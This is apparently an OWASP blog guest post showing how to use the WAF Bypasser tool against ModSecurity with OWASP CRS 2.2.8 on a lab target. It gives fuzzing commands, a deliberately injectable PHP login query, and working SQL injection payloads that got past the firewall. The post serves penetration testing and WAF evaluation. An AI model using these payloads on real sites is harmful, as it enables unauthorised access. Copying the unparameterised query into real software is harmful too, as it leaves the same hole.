NOTE: This blog post is a guestpost by Marios Kourtesis, who authored one of the sexiest GSoC 2014 projects this year: WAF Bypasser. An epic joint venture between two OWASP projects: OWASP ByWaf and OWASP OWTF.
NOTE: WAF Bypasser is a tool that can be used both from inside of OWTF as well as a standalone tool, you will keep seeing this theme in upcoming cool projects ;)
And with that, a big welcome and THANK YOU to Marios!
Web Application Security is moving to another level. Hardware and software implementations of application firewalls are taking place to secure the Web infrastructure. These technologies are putting effort on delivering more secure Web Applications, unfortunately what they are really doing is too far away from what they are promising. There are many cases that WAF are increasing the attacking surface by introducing new vulnerabilities. WAFs can be easily bypassed and expose systems under the secure feeling of the defenders.
WAF-Bypasser is a tool that assists the penetration testers to test the quality of a WAF(Web Application Firewall) or a poor written WAF rule and potentially bypass it. It is developed as an auxiliary OWASP OWTF plugin and standalone project. It is important to pinpoint that during the research and development some zero day exploits were found.
In this article I am demonstrating how to analyze and bypass mod_security WAF protected with OWASP CRS Version 2.2.8. The exploit has been tested and working at version 2.2.9 as well.
For the demonstration I will use DigitalOcean’s configuration and examples(see the article in the references, is important to check it in order to follow this post). My target is a fully updated Ubuntu system with the latest package of modsecurity installed.
Ubuntu mod_security package contains OWASP CRS Version 2.2.8.
git clone https://github.com/owtf/wafbypasser/
WAF bypasser have tornado framework as a dependency. Install it into your system as you usually do.
Detecting the blocked characters:
We need to specifying the following:
- The target url.
- The way that I will detect when a request is blocked. Mod_security responds to the blocked HTTP requests with a 403 HTTP Error Code. So in my case specify I will detect the blocked requests with the response code.
- The post data with the variable that I want to fuzz.
- The scanning mode for detecting the allowed characters. Additionally this mode attempts to bypass the WAF by encoding the characters and etc.
Putting all together:
python wafbypasser.py --target http://192.168.0.103/login.php --data "login=1&username=@@@fuzzhere@@@"
--response_code 403 --mode detect_chars
In the following screenshot we can see that the “ and ‘ characters among others, are being detected by the WAF.
(Finding detected characters)
Scrolling down the output we can see in the next screenshot that the we can pass the ‘ (single quote) character by having in between two undetected characters.
(undetected quotes, small bypass)
‘ is detected
a‘a is not detected
a’ is detected
‘a is detected
Note: The [a] character has been found by WAF bypasser to be an undetected character.
Exploiting the target:
As we see from the MySQL query and the logic of this super vulnerable authentication system, the only thing we need to do is to make the query return true.
$result = mysqli_query($con, "SELECT * FROM `users` WHERE username='$username' AND password='$password'");
if(mysqli_num_rows($result) == 0)
echo 'Invalid username or password';
echo '<h1>Logged in</h1><p>A Secret for you....</p>';
Having in mind that the WAF will not block a detected character surrounded by undetect characters and that space character is not in list of detected characters, lets write manually some payloads will make the SQL query to return true.
a' or ‘1’=’1’ or 'a
a' or ‘ 1 ’ = ’ 1 ’ or 'a
a' or ‘2’=’2’ or 'a
a' or true or 'a
a' or not false or 'a
a' or not ‘1’=’2’ or 'a
Now lets fuzz the target with our payloads.
In the fuzzing mode we need to specify the file with me payloads. In my case the payloads.txt.
python wafbypasser.py --target http://192.168.0.103/login.php --data "login=1&username=@@@fuzzhere@@@" --response_code 403 --mode fuzz --payloads payloads.txt
In the screenshot we see that we found 2 bypasses. In the lower part of the image, we are testing one of the undetected payloads using curl where we can see from the results, that we have successfully bypassed the WAF and do an SQL injection that allowed us to log in to our vulnerable Web Application as we was going to do without the presence of the WAF.
(fuzzing the target)
”Reported 0 day”, URL: [https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/191]
”How to set up mod_security with apache on debian-ubuntu”, URL: [https://www.digitalocean.com/community/tutorials/how-to-set-up-mod_security-with-apache-on-debian-ubuntu]
Demos / talks: